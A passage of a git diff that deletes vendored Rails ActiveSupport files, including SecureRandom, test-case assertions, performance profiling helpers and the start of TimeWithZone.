-      def self.random_bytes(n=nil)
-        n ||= 16
-
-        unless defined? OpenSSL
-          begin
-            require 'openssl'
-          rescue LoadError
-          end
-        end
-
-        if defined? OpenSSL::Random
-          return OpenSSL::Random.random_bytes(n)
-        end
-
-        if !defined?(@has_urandom) || @has_urandom
-          flags = File::RDONLY
-          flags |= File::NONBLOCK if defined? File::NONBLOCK
-          flags |= File::NOCTTY if defined? File::NOCTTY
-          flags |= File::NOFOLLOW if defined? File::NOFOLLOW
-          begin
-            File.open("/dev/urandom", flags) {|f|
-              unless f.stat.chardev?
-                raise Errno::ENOENT
-              end
-              @has_urandom = true
-              ret = f.readpartial(n)
-              if ret.length != n
-                raise NotImplementedError, "Unexpected partial read from random device"
-              end
-              return ret
-            }
-          rescue Errno::ENOENT
-            @has_urandom = false
-          end
-        end
-
-        if !defined?(@has_win32)
-          begin
-            require 'Win32API'
-
-            crypt_acquire_context = Win32API.new("advapi32", "CryptAcquireContext", 'PPPII', 'L')
-            @crypt_gen_random = Win32API.new("advapi32", "CryptGenRandom", 'LIP', 'L')
-
-            hProvStr = " " * 4
-            prov_rsa_full = 1
-            crypt_verifycontext = 0xF0000000
-
-            if crypt_acquire_context.call(hProvStr, nil, nil, prov_rsa_full, crypt_verifycontext) == 0
-              raise SystemCallError, "CryptAcquireContext failed: #{lastWin32ErrorMessage}"
-            end
-            @hProv, = hProvStr.unpack('L')
-
-            @has_win32 = true
-          rescue LoadError
-            @has_win32 = false
-          end
-        end
-        if @has_win32
-          bytes = " " * n
-          if @crypt_gen_random.call(@hProv, bytes.size, bytes) == 0
-            raise SystemCallError, "CryptGenRandom failed: #{lastWin32ErrorMessage}"
-          end
-          return bytes
-        end
-
-        raise NotImplementedError, "No random device"
-      end
-
-      # SecureRandom.hex generates a random hex string.
-      #
-      # The argument n specifies the length of the random length.
-      # The length of the result string is twice of n.
-      #
-      # If n is not specified, 16 is assumed.
-      # It may be larger in future.
-      #
-      # If secure random number generator is not available,
-      # NotImplementedError is raised.
-      def self.hex(n=nil)
-        random_bytes(n).unpack("H*")[0]
-      end
-
-      # SecureRandom.base64 generates a random base64 string.
-      #
-      # The argument n specifies the length of the random length.
-      # The length of the result string is about 4/3 of n.
-      #
-      # If n is not specified, 16 is assumed.
-      # It may be larger in future.
-      #
-      # If secure random number generator is not available,
-      # NotImplementedError is raised.
-      def self.base64(n=nil)
-        [random_bytes(n)].pack("m*").delete("\n")
-      end
-
-      # SecureRandom.random_number generates a random number.
-      #
-      # If an positive integer is given as n,
-      # SecureRandom.random_number returns an integer:
-      # 0 <= SecureRandom.random_number(n) < n.
-      #
-      # If 0 is given or an argument is not given,
-      # SecureRandom.random_number returns an float:
-      # 0.0 <= SecureRandom.random_number() < 1.0.
-      def self.random_number(n=0)
-        if 0 < n
-          hex = n.to_s(16)
-          hex = '0' + hex if (hex.length & 1) == 1
-          bin = [hex].pack("H*")
-          mask = bin[0]
-          mask |= mask >> 1
-          mask |= mask >> 2
-          mask |= mask >> 4
-          begin
-            rnd = SecureRandom.random_bytes(bin.length)
-            rnd[0] = rnd[0] & mask
-          end until rnd < bin
-          rnd.unpack("H*")[0].hex
-        else
-          # assumption: Float::MANT_DIG <= 64
-          i64 = SecureRandom.random_bytes(8).unpack("Q")[0]
-          Math.ldexp(i64 >> (64-Float::MANT_DIG), -Float::MANT_DIG)
-        end
-      end
-
-      # Following code is based on David Garamond's GUID library for Ruby.
-      def self.lastWin32ErrorMessage # :nodoc:
-        get_last_error = Win32API.new("kernel32", "GetLastError", '', 'L')
-        format_message = Win32API.new("kernel32", "FormatMessageA", 'LPLLPLPPPPPPPP', 'L')
-        format_message_ignore_inserts = 0x00000200
-        format_message_from_system    = 0x00001000
-
-        code = get_last_error.call
-        msg = "\0" * 1024
-        len = format_message.call(format_message_ignore_inserts + format_message_from_system, 0, code, 0, msg, 1024, nil, nil, nil, nil, nil, nil, nil, nil)
-        msg[0, len].tr("\r", '').chomp
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/string_inquirer.rb b/vendor/rails/activesupport/lib/active_support/string_inquirer.rb
deleted file mode 100644
index e6b1f392..00000000
--- a/vendor/rails/activesupport/lib/active_support/string_inquirer.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActiveSupport
-  # Wrapping a string in this class gives you a prettier way to test
-  # for equality. The value returned by <tt>Rails.env</tt> is wrapped
-  # in a StringInquirer object so instead of calling this:
-  #
-  #   Rails.env == "production"
-  #
-  # you can call this:
-  #
-  #   Rails.env.production?
-  #
-  class StringInquirer < String
-    def method_missing(method_name, *arguments)
-      if method_name.to_s[-1,1] == "?"
-        self == method_name.to_s[0..-2]
-      else
-        super
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/test_case.rb b/vendor/rails/activesupport/lib/active_support/test_case.rb
deleted file mode 100644
index bde74faa..00000000
--- a/vendor/rails/activesupport/lib/active_support/test_case.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require 'test/unit/testcase'
-require 'active_support/testing/setup_and_teardown'
-require 'active_support/testing/assertions'
-require 'active_support/testing/deprecation'
-require 'active_support/testing/declarative'
-
-begin
-  gem 'mocha', ">= 0.9.7"
-  require 'mocha'
-rescue LoadError
-  # Fake Mocha::ExpectationError so we can rescue it in #run. Bleh.
-  Object.const_set :Mocha, Module.new
-  Mocha.const_set :ExpectationError, Class.new(StandardError)
-end
-
-module ActiveSupport
-  class TestCase < ::Test::Unit::TestCase
-    if defined? MiniTest
-      Assertion = MiniTest::Assertion
-      alias_method :method_name, :name if method_defined? :name
-      alias_method :method_name, :__name__ if method_defined? :__name__
-    else
-      # TODO: Figure out how to get the Rails::BacktraceFilter into minitest/unit
-      if defined?(Rails) && ENV['BACKTRACE'].nil?
-        require 'rails/backtrace_cleaner'
-        Test::Unit::Util::BacktraceFilter.module_eval { include Rails::BacktraceFilterForTestUnit }
-      end
-
-      Assertion = Test::Unit::AssertionFailedError
-
-      require 'active_support/testing/default'
-      include ActiveSupport::Testing::Default
-    end
-
-    include ActiveSupport::Testing::SetupAndTeardown
-    include ActiveSupport::Testing::Assertions
-    include ActiveSupport::Testing::Deprecation
-    extend ActiveSupport::Testing::Declarative
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/assertions.rb b/vendor/rails/activesupport/lib/active_support/testing/assertions.rb
deleted file mode 100644
index aa9dbe85..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/assertions.rb
+++ /dev/null
@@ -1,79 +0,0 @@
-module ActiveSupport
-  module Testing
-    module Assertions
-      # Test numeric difference between the return value of an expression as a result of what is evaluated
-      # in the yielded block.
-      #
-      #   assert_difference 'Article.count' do
-      #     post :create, :article => {...}
-      #   end
-      #
-      # An arbitrary expression is passed in and evaluated.
-      #
-      #   assert_difference 'assigns(:article).comments(:reload).size' do
-      #     post :create, :comment => {...}
-      #   end
-      #
-      # An arbitrary positive or negative difference can be specified. The default is +1.
-      #
-      #   assert_difference 'Article.count', -1 do
-      #     post :delete, :id => ...
-      #   end
-      #
-      # An array of expressions can also be passed in and evaluated.
-      #
-      #   assert_difference [ 'Article.count', 'Post.count' ], +2 do
-      #     post :create, :article => {...}
-      #   end
-      #
-      # A error message can be specified.
-      #
-      #   assert_difference 'Article.count', -1, "An Article should be destroyed" do
-      #     post :delete, :id => ...
-      #   end
-      def assert_difference(expression, difference = 1, message = nil, &block)
-        b = block.send(:binding)
-        exps = Array.wrap(expression)
-        before = exps.map { |e| eval(e, b) }
-
-        yield
-
-        exps.each_with_index do |e, i|
-          error = "#{e.inspect} didn't change by #{difference}"
-          error = "#{message}.\n#{error}" if message
-          assert_equal(before[i] + difference, eval(e, b), error)
-        end
-      end
-
-      # Assertion that the numeric result of evaluating an expression is not changed before and after
-      # invoking the passed in block.
-      #
-      #   assert_no_difference 'Article.count' do
-      #     post :create, :article => invalid_attributes
-      #   end
-      #
-      # A error message can be specified.
-      #
-      #   assert_no_difference 'Article.count', "An Article should not be destroyed" do
-      #     post :create, :article => invalid_attributes
-      #   end
-      def assert_no_difference(expression, message = nil, &block)
-        assert_difference expression, 0, message, &block
-      end
-      
-      # Test if an expression is blank. Passes if object.blank? is true.
-      #
-      #   assert_blank [] # => true
-      def assert_blank(object)
-        assert object.blank?, "#{object.inspect} is not blank"
-      end
-      
-      # Test if an expression is not blank. Passes if object.present? is true.
-      #
-      #   assert_present {:data => 'x' } # => true
-      def assert_present(object)
-        assert object.present?, "#{object.inspect} is blank"
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/declarative.rb b/vendor/rails/activesupport/lib/active_support/testing/declarative.rb
deleted file mode 100644
index cb6a5844..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/declarative.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActiveSupport
-  module Testing
-    module Declarative
-      # test "verify something" do
-      #   ...
-      # end
-      def test(name, &block)
-        test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
-        defined = instance_method(test_name) rescue false
-        raise "#{test_name} is already defined in #{self}" if defined
-        if block_given?
-          define_method(test_name, &block)
-        else
-          define_method(test_name) do
-            flunk "No implementation provided for #{name}"
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/default.rb b/vendor/rails/activesupport/lib/active_support/testing/default.rb
deleted file mode 100644
index a0bd6303..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/default.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActiveSupport
-  module Testing
-    module Default #:nodoc:
-      # Placeholder so test/unit ignores test cases without any tests.
-      def default_test
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/deprecation.rb b/vendor/rails/activesupport/lib/active_support/testing/deprecation.rb
deleted file mode 100644
index 2271caf8..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/deprecation.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require "active_support/core_ext/module"
-
-module ActiveSupport
-  module Testing
-    module Deprecation #:nodoc:
-      def assert_deprecated(match = nil, &block)
-        result, warnings = collect_deprecations(&block)
-        assert !warnings.empty?, "Expected a deprecation warning within the block but received none"
-        if match
-          match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
-          assert warnings.any? { |w| w =~ match }, "No deprecation warning matched #{match}: #{warnings.join(', ')}"
-        end
-        result
-      end
-
-      def assert_not_deprecated(&block)
-        result, deprecations = collect_deprecations(&block)
-        assert deprecations.empty?, "Expected no deprecation warning within the block but received #{deprecations.size}: \n  #{deprecations * "\n  "}"
-        result
-      end
-
-      private
-        def collect_deprecations
-          old_behavior = ActiveSupport::Deprecation.behavior
-          deprecations = []
-          ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
-            deprecations << message
-          end
-          result = yield
-          [result, deprecations]
-        ensure
-          ActiveSupport::Deprecation.behavior = old_behavior
-        end
-    end
-  end
-end
-
-begin
-  require 'test/unit/error'
-
-  module Test
-    module Unit
-      class Error # :nodoc:
-        # Silence warnings when reporting test errors.
-        def message_with_silenced_deprecation
-          ActiveSupport::Deprecation.silence do
-            message_without_silenced_deprecation
-          end
-        end
-
-        alias_method_chain :message, :silenced_deprecation
-      end
-    end
-  end
-rescue LoadError
-  # Using miniunit, ignore.
-end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/performance.rb b/vendor/rails/activesupport/lib/active_support/testing/performance.rb
deleted file mode 100644
index 331ef0e3..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/performance.rb
+++ /dev/null
@@ -1,452 +0,0 @@
-require 'rubygems'
-gem 'ruby-prof', '>= 0.6.1'
-require 'ruby-prof'
-
-require 'fileutils'
-require 'rails/version'
-
-module ActiveSupport
-  module Testing
-    module Performance
-      DEFAULTS =
-        if benchmark = ARGV.include?('--benchmark')  # HAX for rake test
-          { :benchmark => true,
-            :runs => 4,
-            :metrics => [:wall_time, :memory, :objects, :gc_runs, :gc_time],
-            :output => 'tmp/performance' }
-        else
-          { :benchmark => false,
-            :runs => 1,
-            :min_percent => 0.01,
-            :metrics => [:process_time, :memory, :objects],
-            :formats => [:flat, :graph_html, :call_tree],
-            :output => 'tmp/performance' }
-        end.freeze
-
-      def self.included(base)
-        base.class_attribute :profile_options
-        base.profile_options = DEFAULTS
-      end
-
-      def full_test_name
-        "#{self.class.name}##{method_name}"
-      end
-
-      def run(result)
-        return if method_name =~ /^default_test$/
-
-        yield(self.class::STARTED, name)
-        @_result = result
-
-        run_warmup
-        if profile_options && metrics = profile_options[:metrics]
-          metrics.each do |metric_name|
-            if klass = Metrics[metric_name.to_sym]
-              run_profile(klass.new)
-              result.add_run
-            end
-          end
-        end
-
-        yield(self.class::FINISHED, name)
-      end
-
-      def run_test(metric, mode)
-        run_callbacks :setup
-        setup
-        metric.send(mode) { __send__ @method_name }
-      rescue ::Test::Unit::AssertionFailedError => e
-        add_failure(e.message, e.backtrace)
-      rescue StandardError, ScriptError
-        add_error($!)
-      ensure
-        begin
-          teardown
-          run_callbacks :teardown, :enumerator => :reverse_each
-        rescue ::Test::Unit::AssertionFailedError => e
-          add_failure(e.message, e.backtrace)
-        rescue StandardError, ScriptError
-          add_error($!)
-        end
-      end
-
-      protected
-        def run_warmup
-          GC.start
-
-          time = Metrics::Time.new
-          run_test(time, :benchmark)
-          puts "%s (%s warmup)" % [full_test_name, time.format(time.total)]
-
-          GC.start
-        end
-
-        def run_profile(metric)
-          klass = profile_options[:benchmark] ? Benchmarker : Profiler
-          performer = klass.new(self, metric)
-
-          performer.run
-          puts performer.report
-          performer.record
-        end
-
-      class Performer
-        delegate :run_test, :profile_options, :full_test_name, :to => :@harness
-
-        def initialize(harness, metric)
-          @harness, @metric = harness, metric
-        end
-
-        def report
-          rate = @total / profile_options[:runs]
-          '%20s: %s' % [@metric.name, @metric.format(rate)]
-        end
-
-        protected
-          def output_filename
-            "#{profile_options[:output]}/#{full_test_name}_#{@metric.name}"
-          end
-      end
-
-      class Benchmarker < Performer
-        def run
-          profile_options[:runs].to_i.times { run_test(@metric, :benchmark) }
-          @total = @metric.total
-        end
-
-        def record
-          avg = @metric.total / profile_options[:runs].to_i
-          now = Time.now.utc.xmlschema
-          with_output_file do |file|
-            file.puts "#{avg},#{now},#{environment}"
-          end
-        end
-
-        def environment
-          unless defined? @env
-            app = "#{$1}.#{$2}" if File.directory?('.git') && `git branch -v` =~ /^\* (\S+)\s+(\S+)/
-
-            rails = Rails::VERSION::STRING
-            if File.directory?('vendor/rails/.git')
-              Dir.chdir('vendor/rails') do
-                rails += ".#{$1}.#{$2}" if `git branch -v` =~ /^\* (\S+)\s+(\S+)/
-              end
-            end
-
-            ruby = defined?(RUBY_ENGINE) ? RUBY_ENGINE : 'ruby'
-            ruby += "-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL}"
-
-            @env = [app, rails, ruby, RUBY_PLATFORM] * ','
-          end
-
-          @env
-        end
-
-        protected
-          HEADER = 'measurement,created_at,app,rails,ruby,platform'
-
-          def with_output_file
-            fname = output_filename
-
-            if new = !File.exist?(fname)
-              FileUtils.mkdir_p(File.dirname(fname))
-            end
-
-            File.open(fname, 'ab') do |file|
-              file.puts(HEADER) if new
-              yield file
-            end
-          end
-
-          def output_filename
-            "#{super}.csv"
-          end
-      end
-
-      class Profiler < Performer
-        def initialize(*args)
-          super
-          @supported = @metric.measure_mode rescue false
-        end
-
-        def run
-          return unless @supported
-
-          RubyProf.measure_mode = @metric.measure_mode
-          RubyProf.start
-          RubyProf.pause
-          profile_options[:runs].to_i.times { run_test(@metric, :profile) }
-          @data = RubyProf.stop
-          @total = @data.threads.values.sum(0) { |method_infos| method_infos.sort.last.total_time }
-        end
-
-        def report
-          if @supported
-            super
-          else
-            '%20s: unsupported' % @metric.name
-          end
-        end
-
-        def record
-          return unless @supported
-
-          klasses = profile_options[:formats].map { |f| RubyProf.const_get("#{f.to_s.camelize}Printer") }.compact
-
-          klasses.each do |klass|
-            fname = output_filename(klass)
-            FileUtils.mkdir_p(File.dirname(fname))
-            File.open(fname, 'wb') do |file|
-              klass.new(@data).print(file, profile_options.slice(:min_percent))
-            end
-          end
-        end
-
-        protected
-          def output_filename(printer_class)
-            suffix =
-              case printer_class.name.demodulize
-                when 'FlatPrinter'; 'flat.txt'
-                when 'GraphPrinter'; 'graph.txt'
-                when 'GraphHtmlPrinter'; 'graph.html'
-                when 'CallTreePrinter'; 'tree.txt'
-                else printer_class.name.sub(/Printer$/, '').underscore
-              end
-
-            "#{super()}_#{suffix}"
-          end
-      end
-
-      module Metrics
-        def self.[](name)
-          const_get(name.to_s.camelize)
-        rescue NameError
-          nil
-        end
-
-        class Base
-          attr_reader :total
-
-          def initialize
-            @total = 0
-          end
-
-          def name
-            @name ||= self.class.name.demodulize.underscore
-          end
-
-          def measure_mode
-            self.class::Mode
-          end
-
-          def measure
-            0
-          end
-
-          def benchmark
-            with_gc_stats do
-              before = measure
-              yield
-              @total += (measure - before)
-            end
-          end
-
-          def profile
-            RubyProf.resume
-            yield
-          ensure
-            RubyProf.pause
-          end
-
-          protected
-            if GC.respond_to?(:enable_stats)
-              def with_gc_stats
-                GC.enable_stats
-                yield
-              ensure
-                GC.disable_stats
-              end
-            elsif defined?(GC::Profiler)
-              def with_gc_stats
-                GC.start
-                GC.disable
-                GC::Profiler.enable
-                yield
-              ensure
-                GC::Profiler.disable
-                GC.enable
-              end
-            else
-              def with_gc_stats
-                yield
-              end
-            end
-        end
-
-        class Time < Base
-          def measure
-            ::Time.now.to_f
-          end
-
-          def format(measurement)
-            if measurement < 2
-              '%d ms' % (measurement * 1000)
-            else
-              '%.2f sec' % measurement
-            end
-          end
-        end
-
-        class ProcessTime < Time
-          Mode = RubyProf::PROCESS_TIME
-
-          def measure
-            RubyProf.measure_process_time
-          end
-        end
-
-        class WallTime < Time
-          Mode = RubyProf::WALL_TIME
-
-          def measure
-            RubyProf.measure_wall_time
-          end
-        end
-
-        class CpuTime < Time
-          Mode = RubyProf::CPU_TIME if RubyProf.const_defined?(:CPU_TIME)
-
-          def initialize(*args)
-            # FIXME: yeah my CPU is 2.33 GHz
-            RubyProf.cpu_frequency = 2.33e9
-            super
-          end
-
-          def measure
-            RubyProf.measure_cpu_time
-          end
-        end
-
-        class Memory < Base
-          Mode = RubyProf::MEMORY if RubyProf.const_defined?(:MEMORY)
-
-          # ruby-prof wrapper
-          if RubyProf.respond_to?(:measure_memory)
-            def measure
-              RubyProf.measure_memory / 1024.0
-            end
-
-          # Ruby 1.8 + railsbench patch
-          elsif GC.respond_to?(:allocated_size)
-            def measure
-              GC.allocated_size / 1024.0
-            end
-
-          # Ruby 1.8 + lloyd patch
-          elsif GC.respond_to?(:heap_info)
-            def measure
-              GC.heap_info['heap_current_memory'] / 1024.0
-            end
-
-          # Ruby 1.9 with total_malloc_allocated_size patch
-          elsif GC.respond_to?(:malloc_total_allocated_size)
-            def measure
-              GC.total_malloc_allocated_size / 1024.0
-            end
-
-          # Ruby 1.9 unpatched
-          elsif GC.respond_to?(:malloc_allocated_size)
-            def measure
-              GC.malloc_allocated_size / 1024.0
-            end
-
-          # Ruby 1.9 + GC profiler patch
-          elsif defined?(GC::Profiler)
-            def measure
-              GC.enable
-              GC.start
-              kb = GC::Profiler.data.last[:HEAP_USE_SIZE] / 1024.0
-              GC.disable
-              kb
-            end
-          end
-
-          def format(measurement)
-            '%.2f KB' % measurement
-          end
-        end
-
-        class Objects < Base
-          Mode = RubyProf::ALLOCATIONS if RubyProf.const_defined?(:ALLOCATIONS)
-
-          if RubyProf.respond_to?(:measure_allocations)
-            def measure
-              RubyProf.measure_allocations
-            end
-
-          # Ruby 1.8 + railsbench patch
-          elsif ObjectSpace.respond_to?(:allocated_objects)
-            def measure
-              ObjectSpace.allocated_objects
-            end
-
-          # Ruby 1.9 + GC profiler patch
-          elsif defined?(GC::Profiler)
-            def measure
-              GC.enable
-              GC.start
-              last = GC::Profiler.data.last
-              count = last[:HEAP_LIVE_OBJECTS] + last[:HEAP_FREE_OBJECTS]
-              GC.disable
-              count
-            end
-          end
-
-          def format(measurement)
-            measurement.to_i.to_s
-          end
-        end
-
-        class GcRuns < Base
-          Mode = RubyProf::GC_RUNS if RubyProf.const_defined?(:GC_RUNS)
-
-          if RubyProf.respond_to?(:measure_gc_runs)
-            def measure
-              RubyProf.measure_gc_runs
-            end
-          elsif GC.respond_to?(:collections)
-            def measure
-              GC.collections
-            end
-          elsif GC.respond_to?(:heap_info)
-            def measure
-              GC.heap_info['num_gc_passes']
-            end
-          end
-
-          def format(measurement)
-            measurement.to_i.to_s
-          end
-        end
-
-        class GcTime < Base
-          Mode = RubyProf::GC_TIME if RubyProf.const_defined?(:GC_TIME)
-
-          if RubyProf.respond_to?(:measure_gc_time)
-            def measure
-              RubyProf.measure_gc_time
-            end
-          elsif GC.respond_to?(:time)
-            def measure
-              GC.time
-            end
-          end
-
-          def format(measurement)
-            '%d ms' % (measurement / 1000)
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb b/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb
deleted file mode 100644
index 25c927dd..00000000
--- a/vendor/rails/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-require 'active_support/callbacks'
-
-module ActiveSupport
-  module Testing
-    module SetupAndTeardown
-      def self.included(base)
-        base.class_eval do
-          include ActiveSupport::Callbacks
-          define_callbacks :setup, :teardown
-
-          if defined?(MiniTest::Assertions) && TestCase < MiniTest::Assertions
-            include ForMiniTest
-          else
-            include ForClassicTestUnit
-          end
-        end
-      end
-
-      module ForMiniTest
-        def run(runner)
-          result = '.'
-          begin
-            run_callbacks :setup
-            result = super
-          rescue Exception => e
-            result = runner.puke(self.class, __name__, e)
-          ensure
-            begin
-              run_callbacks :teardown, :enumerator => :reverse_each
-            rescue Exception => e
-              result = runner.puke(self.class, __name__, e)
-            end
-          end
-          result
-        end
-      end
-
-      module ForClassicTestUnit
-        # For compatibility with Ruby < 1.8.6
-        PASSTHROUGH_EXCEPTIONS = Test::Unit::TestCase::PASSTHROUGH_EXCEPTIONS rescue [NoMemoryError, SignalException, Interrupt, SystemExit]
-
-        # This redefinition is unfortunate but test/unit shows us no alternative.
-        # Doubly unfortunate: hax to support Mocha's hax.
-        def run(result)
-          return if @method_name.to_s == "default_test"
-
-          if using_mocha = respond_to?(:mocha_verify)
-            assertion_counter_klass = if defined?(Mocha::TestCaseAdapter::AssertionCounter)
-                                        Mocha::TestCaseAdapter::AssertionCounter
-                                      else
-                                        Mocha::Integration::TestUnit::AssertionCounter
-                                      end
-            assertion_counter = assertion_counter_klass.new(result)
-          end
-
-          yield(Test::Unit::TestCase::STARTED, name)
-          @_result = result
-          begin
-            begin
-              run_callbacks :setup
-              setup
-              __send__(@method_name)
-              mocha_verify(assertion_counter) if using_mocha
-            rescue Mocha::ExpectationError => e
-              add_failure(e.message, e.backtrace)
-            rescue Test::Unit::AssertionFailedError => e
-              add_failure(e.message, e.backtrace)
-            rescue Exception => e
-              raise if PASSTHROUGH_EXCEPTIONS.include?(e.class)
-              add_error(e)
-            ensure
-              begin
-                teardown
-                run_callbacks :teardown, :enumerator => :reverse_each
-              rescue Test::Unit::AssertionFailedError => e
-                add_failure(e.message, e.backtrace)
-              rescue Exception => e
-                raise if PASSTHROUGH_EXCEPTIONS.include?(e.class)
-                add_error(e)
-              end
-            end
-          ensure
-            mocha_teardown if using_mocha
-          end
-          result.add_run
-          yield(Test::Unit::TestCase::FINISHED, name)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/time_with_zone.rb b/vendor/rails/activesupport/lib/active_support/time_with_zone.rb
deleted file mode 100644
index 2e5a2332..00000000
--- a/vendor/rails/activesupport/lib/active_support/time_with_zone.rb
+++ /dev/null
@@ -1,335 +0,0 @@
-require 'tzinfo'
-
-module ActiveSupport
-  # A Time-like class that can represent a time in any time zone. Necessary because standard Ruby Time instances are
-  # limited to UTC and the system's <tt>ENV['TZ']</tt> zone.
-  #
-  # You shouldn't ever need to create a TimeWithZone instance directly via <tt>new</tt> -- instead, Rails provides the methods
-  # +local+, +parse+, +at+ and +now+ on TimeZone instances, and +in_time_zone+ on Time and DateTime instances, for a more
-  # user-friendly syntax. Examples:
-  #
-  #   Time.zone = 'Eastern Time (US & Canada)'        # => 'Eastern Time (US & Canada)'
-  #   Time.zone.local(2007, 2, 10, 15, 30, 45)        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #   Time.zone.parse('2007-02-01 15:30:45')          # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #   Time.zone.at(1170361845)                        # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #   Time.zone.now                                   # => Sun, 18 May 2008 13:07:55 EDT -04:00
-  #   Time.utc(2007, 2, 10, 20, 30, 45).in_time_zone  # => Sat, 10 Feb 2007 15:30:45 EST -05:00
-  #
-  # See TimeZone and ActiveSupport::CoreExtensions::Time::Zones for further documentation for these methods.
-  #
-  # TimeWithZone instances implement the same API as Ruby Time instances, so that Time and TimeWithZone instances are interchangable. Examples:
-  #
-  #   t = Time.zone.now                     # => Sun, 18 May 2008 13:27:25 EDT -04:00
-  #   t.hour                                # => 13
-  #   t.dst?                                # => true
-  #   t.utc_offset                          # => -14400
-  #   t.zone                                # => "EDT"
-  #   t.to_s(:rfc822)                       # => "Sun, 18 May 2008 13:27:25 -0400"
-  #   t + 1.day                             # => Mon, 19 May 2008 13:27:25 EDT -04:00
-  #   t.beginning_of_year                   # => Tue, 01 Jan 2008 00:00:00 EST -05:00
-  #   t > Time.utc(1999)                    # => true
-  #   t.is_a?(Time)                         # => true
-  #   t.is_a?(ActiveSupport::TimeWithZone)  # => true
-  class TimeWithZone
-    include Comparable
-    attr_reader :time_zone
-
-    def initialize(utc_time, time_zone, local_time = nil, period = nil)
-      @utc, @time_zone, @time = utc_time, time_zone, local_time
-      @period = @utc ? period : get_period_and_ensure_valid_local_time
-    end
-
-    # Returns a Time or DateTime instance that represents the time in +time_zone+.
-    def time
-      @time ||= period.to_local(@utc)
-    end
-
-    # Returns a Time or DateTime instance that represents the time in UTC.
-    def utc
-      @utc ||= period.to_utc(@time)
-    end
-    alias_method :comparable_time, :utc
-    alias_method :getgm, :utc
-    alias_method :getutc, :utc
-    alias_method :gmtime, :utc
-
-    # Returns the underlying TZInfo::TimezonePeriod.
-    def period
-      @period ||= time_zone.period_for_utc(@utc)
-    end
-
-    # Returns the simultaneous time in <tt>Time.zone</tt>, or the specified zone.
-    def in_time_zone(new_zone = ::Time.zone)
-      return self if time_zone == new_zone
-      utc.in_time_zone(new_zone)
-    end
-
-    # Returns a <tt>Time.local()</tt> instance of the simultaneous time in your system's <tt>ENV['TZ']</tt> zone
-    def localtime
-      utc.getlocal
-    end
-    alias_method :getlocal, :localtime
-
-    def dst?
-      period.dst?
-    end
-    alias_method :isdst, :dst?
-
-    def utc?
-      time_zone.name == 'UTC'
-    end
-    alias_method :gmt?, :utc?
-
-    def utc_offset
-      period.utc_total_offset
-    end
-    alias_method :gmt_offset, :utc_offset
-    alias_method :gmtoff, :utc_offset
-
-    def formatted_offset(colon = true, alternate_utc_string = nil)
-      utc? && alternate_utc_string || utc_offset.to_utc_offset_s(colon)
-    end
-
-    # Time uses +zone+ to display the time zone abbreviation, so we're duck-typing it.
-    def zone
-      period.zone_identifier.to_s
-    end
-
-    def inspect
-      "#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
-    end
-
-    def xmlschema(fraction_digits = 0)
-      fraction = if fraction_digits > 0
-        ".%i" % time.usec.to_s[0, fraction_digits]
-      end
-
-      "#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
-    end
-    alias_method :iso8601, :xmlschema
-
-    # Coerces the date to a string for JSON encoding.
-    #
-    # ISO 8601 format is used if ActiveSupport::JSON::Encoding.use_standard_json_time_format is set.
-    #
-    # ==== Examples
-    #
-    #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
-    #   # => "2005-02-01T15:15:10Z"
-    #
-    #   # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
-    #   Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
-    #   # => "2005/02/01 15:15:10 +0000"
-    def as_json(options = nil)
-      if ActiveSupport::JSON::Encoding.use_standard_json_time_format
-        xmlschema
-      else
-        %(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
-      end
-    end
-
-    def to_yaml(options = {})
-      if options.kind_of?(YAML::Emitter)
-        utc.to_yaml(options)
-      else
-        time.to_yaml(options).gsub('Z', formatted_offset(true, 'Z'))
-      end
-    end
-
-    def httpdate
-      utc.httpdate
-    end
-
-    def rfc2822
-      to_s(:rfc822)
-    end
-    alias_method :rfc822, :rfc2822
-
-    # <tt>:db</tt> format outputs time in UTC; all others output time in local.
-    # Uses TimeWithZone's +strftime+, so <tt>%Z</tt> and <tt>%z</tt> work correctly.
-    def to_s(format = :default)
-      return utc.to_s(format) if format == :db
-      if formatter = ::Time::DATE_FORMATS[format]
-        formatter.respond_to?(:call) ? formatter.call(self).to_s : strftime(formatter)
-      else
-        "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{formatted_offset(false, 'UTC')}" # mimicking Ruby 1.9 Time#to_s format
-      end
-    end
-    alias_method :to_formatted_s, :to_s
-
-    # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and +formatted_offset+, respectively, before passing to
